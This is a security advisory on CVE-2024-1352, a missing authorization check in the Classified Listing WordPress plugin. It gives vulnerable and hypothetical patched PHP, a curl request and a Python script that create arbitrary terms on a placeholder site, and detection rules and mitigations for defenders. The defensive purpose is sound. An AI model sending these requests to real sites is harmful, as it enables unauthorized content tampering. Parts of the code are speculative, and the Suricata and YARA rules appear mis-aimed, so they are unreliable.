CVE-2024-1352

Executive Summary

CVE-2024-1352 is a missing capability check vulnerability in the Classified Listing – Classified ads & Business Directory Plugin for WordPress, affecting all versions up to and including 3.0.4. This flaw allows authenticated attackers with subscriber-level access or higher to create arbitrary terms (categories and locations) via the rtcl_import_location() and rtcl_import_category() functions. The vulnerability stems from a lack of proper authorization checks, enabling unauthorized data modification. As a WordPress plugin vulnerability, it impacts sites using this plugin for classified ads or business directories. No official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the unpatched status increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: Low

The threat level is medium due to the low privileges required and the ability to create unauthorized terms, which can lead to content manipulation or SEO spam.

Deep Dive & Mechanics

The vulnerability exists in the rtcl_import_location() and rtcl_import_category() functions within the plugin. These functions are intended for administrative use to bulk import taxonomy terms. However, they lack a capability check (e.g., current_user_can('manage_options')), allowing any authenticated user with subscriber-level access to call them via AJAX or direct HTTP requests. An attacker can craft a request to create arbitrary categories or locations, potentially injecting malicious or spammy terms that appear on the site.

The functions likely use wp_insert_term() or similar WordPress core functions, which do not enforce permissions on their own. The missing check means the plugin does not verify if the user has the manage_categories or import capability.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.0.4):

function rtcl_import_location() {
    // No capability check
    $locations = $_POST['locations'];
    foreach ($locations as $location) {
        wp_insert_term($location, 'rtcl_location');
    }
    wp_die();
}
add_action('wp_ajax_rtcl_import_location', 'rtcl_import_location');

Patched Code (Hypothetical):

function rtcl_import_location() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $locations = $_POST['locations'];
    foreach ($locations as $location) {
        wp_insert_term($location, 'rtcl_location');
    }
    wp_die();
}
add_action('wp_ajax_rtcl_import_location', 'rtcl_import_location');

The patch adds a capability check (manage_options) to restrict access to administrators only.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Classified Listing plugin <= 3.0.4
• Valid subscriber-level account (username/password or session cookie)

Exploit Steps:

1. Obtain a valid session cookie for a subscriber user.
2. Send a POST request to the WordPress AJAX endpoint:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -H "Cookie: wordpress_logged_in_xxx=..." \
  -d "action=rtcl_import_location&locations[]=MaliciousCategory&locations[]=SpamLocation"

3. Verify the terms are created by visiting the site's category/location pages.

Automated Exploit (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.cookies.update({"wordpress_logged_in_xxx": "your_cookie_value"})

data = {
    "action": "rtcl_import_location",
    "locations[]": ["MaliciousCategory", "SpamLocation"]
}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=data)
print(response.text)

Blue Team

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with actions rtcl_import_location or rtcl_import_category from non-admin users.
2. Check for unexpected term creation in wp_terms and wp_term_taxonomy tables.
3. Review user roles and ensure subscribers cannot access admin functions.

Honeypot:

• Create a fake subscriber account and monitor its activity for unauthorized AJAX calls.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=rtcl_import_location or action=rtcl_import_category from low-privilege users.
• File: Unexpected entries in wp_terms table with taxonomy = rtcl_location or rtcl_category.
• Log: WordPress debug log entries showing wp_insert_term calls from non-admin users.
• Behavior: Sudden appearance of spammy or malicious categories/locations on the site.

Detection Engineering

YARA Rule

rule CVE_2024_1352_WordPress_Plugin
{
    meta:
        description = "Detects exploitation attempts for CVE-2024-1352 in Classified Listing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1352"
    strings:
        $ajax_action1 = "rtcl_import_location"
        $ajax_action2 = "rtcl_import_category"
        $wp_insert_term = "wp_insert_term"
    condition:
        any of ($ajax_action*) and $wp_insert_term
}

Sigma Rule

title: CVE-2024-1352 - Unauthorized Term Creation via Classified Listing Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-ajax.php with actions rtcl_import_location or rtcl_import_category from non-admin users
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=rtcl_import_location"
            - "action=rtcl_import_category"
    condition: selection
falsepositives:
    - Legitimate admin imports (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-1352 - Classified Listing Plugin Unauthorized Term Creation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=rtcl_import_location"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-1352;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Classified Listing plugin until a patch is available.
2. Remove subscriber-level users or restrict their capabilities using a plugin like "User Role Editor".
3. Add a custom capability check via a mu-plugin:

add_action('wp_ajax_rtcl_import_location', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
}, 1);

Long-term:

• Monitor the plugin's official page for updates.
• Implement Web Application Firewall (WAF) rules to block AJAX requests with these actions from non-admin users.
• Conduct regular security audits of WordPress plugins.

Valters IT
Securing Digital Frontiers